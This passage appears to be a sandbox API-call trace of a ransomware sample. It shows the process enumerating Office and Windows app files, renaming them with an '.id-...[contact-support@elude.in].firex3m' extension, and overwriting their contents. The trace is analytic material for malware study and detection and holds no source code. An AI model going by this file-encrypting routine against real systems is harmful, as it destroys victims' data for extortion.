Shared\\THEMES16\\ECLIPSE\\ECLIPSE.ELM" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\eclipse.elm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\ECLIPSE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\eclipse.elm.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.761] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.761] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\ECLIPSE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="ECLIPSE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ECLIPS~2.FIR")) returned 0x6d4f80 [0257.761] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0257.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\ECLIPSE.ELM.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\eclipse\\eclipse.elm.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0257.762] GetProcessHeap () returned 0x630000 [0257.762] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72d3518 [0257.763] GetProcessHeap () returned 0x630000 [0257.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72de948 [0257.763] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.763] ReadFile (in: hFile=0x42c, lpBuffer=0x72d3518, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesRead=0x5afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0263.618] GetProcessHeap () returned 0x630000 [0263.618] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0263.619] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.619] WriteFile (in: hFile=0x42c, lpBuffer=0x72de948*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72de948*, lpNumberOfBytesWritten=0x5afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0263.619] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.619] WriteFile (in: hFile=0x42c, lpBuffer=0x72e9d47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x72e9d47*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0263.620] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.620] WriteFile (in: hFile=0x42c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0263.620] CloseHandle (hObject=0x42c) returned 1 [0263.620] GetProcessHeap () returned 0x630000 [0263.620] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72de948 | out: hHeap=0x630000) returned 1 [0263.620] GetProcessHeap () returned 0x630000 [0263.620] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0263.620] GetProcessHeap () returned 0x630000 [0263.620] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0263.620] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0263.620] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\ECLIPSE\\ECLIPSE.ELM.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63145c92, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1cf55, dwReserved0=0xa807496, dwReserved1=0x72d3510, cFileName="ECLIPSE.ELM.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ECLIPS~2.FIR")) returned 0x6d4f00 [0263.620] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0263.620] Sleep (dwMilliseconds=0x1) [0264.614] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailSmallTileThin.scale-200.png", len=0x81 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailSmallTileThin.scale-200.png") returned 1 [0264.614] GetProcessHeap () returned 0x630000 [0264.614] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c78) returned 0x6fe3bb0 [0264.614] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseVoicemailSmallTileThin.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basevoicemailsmalltilethin.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.615] Sleep (dwMilliseconds=0x1) [0264.642] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.targetsize-48.png", len=0x79 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.targetsize-48.png") returned 1 [0264.642] GetProcessHeap () returned 0x630000 [0264.642] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d4c) returned 0x6fe3bb0 [0264.642] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\assets\\smalllogo.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.647] Sleep (dwMilliseconds=0x1) [0264.659] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\BrandingLogo.png", len=0x6e | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\BrandingLogo.png") returned 1 [0264.659] GetProcessHeap () returned 0x630000 [0264.659] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d34) returned 0x6fe3bb0 [0264.659] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.ConnectivityStore_1.1509.1.0_x64__8wekyb3d8bbwe\\Assets\\BrandingLogo.png" (normalized: "c:\\program files\\windowsapps\\microsoft.connectivitystore_1.1509.1.0_x64__8wekyb3d8bbwe\\assets\\brandinglogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.666] Sleep (dwMilliseconds=0x1) [0264.676] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-24.png", len=0x75 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-24.png") returned 1 [0264.676] GetProcessHeap () returned 0x630000 [0264.676] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cf0) returned 0x6fe3bb0 [0264.676] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\Voicemail2.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\voicemail2.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.685] Sleep (dwMilliseconds=0x1) [0264.743] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-16.png", len=0x76 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-16.png") returned 1 [0264.743] GetProcessHeap () returned 0x630000 [0264.743] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c9c) returned 0x6fe3bb0 [0264.743] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall2.targetsize-16.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall2.targetsize-16.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.746] Sleep (dwMilliseconds=0x1) [0264.748] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-54.png", len=0x76 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-54.png") returned 1 [0264.748] GetProcessHeap () returned 0x630000 [0264.748] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c98) returned 0x6fe3bb0 [0264.748] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\MissedCall1.targetsize-54.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\missedcall1.targetsize-54.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.750] Sleep (dwMilliseconds=0x1) [0264.780] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-32.png", len=0x74 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-32.png") returned 1 [0264.780] GetProcessHeap () returned 0x630000 [0264.780] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c44) returned 0x6fe3bb0 [0264.780] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\Assets\\BaseBadge.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\assets\\basebadge.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.793] Sleep (dwMilliseconds=0x1) [0264.798] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x62 | out: pbstr=0x5afff7c*="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0264.798] GetProcessHeap () returned 0x630000 [0264.798] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c24) returned 0x6fe3bb0 [0264.798] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.CommsPhone_1.10.15000.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.commsphone_1.10.15000.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0264.807] Sleep (dwMilliseconds=0x1) [0264.843] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\PREVIEW.GIF", len=0x6f | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\PREVIEW.GIF") returned 1 [0264.843] GetProcessHeap () returned 0x630000 [0264.843] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c04) returned 0x6fe3bb0 [0264.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0264.912] CloseHandle (hObject=0x6cc) returned 1 [0264.912] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0264.913] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0265.020] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.020] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d53c0 [0265.020] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0265.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\aftrnoon\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0265.020] GetProcessHeap () returned 0x630000 [0265.020] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x641) returned 0x6fc88b8 [0265.020] GetProcessHeap () returned 0x630000 [0265.020] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x641) returned 0x73d3ce8 [0265.020] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.021] ReadFile (in: hFile=0x6cc, lpBuffer=0x6fc88b8, nNumberOfBytesToRead=0x620, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fc88b8*, lpNumberOfBytesRead=0x5afff0c*=0x620, lpOverlapped=0x0) returned 1 [0265.027] GetProcessHeap () returned 0x630000 [0265.027] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73189b8 [0265.027] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.028] WriteFile (in: hFile=0x6cc, lpBuffer=0x73d3ce8*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d3ce8*, lpNumberOfBytesWritten=0x5afff0c*=0x620, lpOverlapped=0x0) returned 1 [0265.028] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.028] WriteFile (in: hFile=0x6cc, lpBuffer=0x73d4307*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x73d4307*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0265.028] SetFilePointerEx (in: hFile=0x6cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0265.028] WriteFile (in: hFile=0x6cc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0265.028] CloseHandle (hObject=0x6cc) returned 1 [0265.028] GetProcessHeap () returned 0x630000 [0265.028] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73d3ce8 | out: hHeap=0x630000) returned 1 [0265.028] GetProcessHeap () returned 0x630000 [0265.028] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fc88b8 | out: hHeap=0x630000) returned 1 [0265.028] GetProcessHeap () returned 0x630000 [0265.028] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73189b8 | out: hHeap=0x630000) returned 1 [0265.028] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.028] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\AFTRNOON\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x63e9c146, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x645, dwReserved0=0xa807496, dwReserved1=0x6fc88b0, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4f40 [0265.029] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0265.029] Sleep (dwMilliseconds=0x1) [0266.905] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF", len=0x66 | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 1 [0266.905] GetProcessHeap () returned 0x630000 [0266.905] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b80) returned 0x6fe3bb0 [0266.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0266.906] CloseHandle (hObject=0x714) returned 1 [0266.906] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0266.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\mtextra.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\mtextra.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0266.908] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.908] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a500ac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1de8, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="MTEXTRA.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MTEXTR~1.FIR")) returned 0x6d5380 [0266.908] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0266.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\equation\\mtextra.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0266.908] GetProcessHeap () returned 0x630000 [0266.908] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e01) returned 0x6feb278 [0266.909] GetProcessHeap () returned 0x630000 [0266.909] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e01) returned 0x728dbe8 [0266.909] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.909] ReadFile (in: hFile=0x714, lpBuffer=0x6feb278, nNumberOfBytesToRead=0x1de0, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6feb278*, lpNumberOfBytesRead=0x5afff0c*=0x1de0, lpOverlapped=0x0) returned 1 [0268.952] GetProcessHeap () returned 0x630000 [0268.952] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73188a0 [0268.952] SetFilePointerEx (in: hFile=0x714, 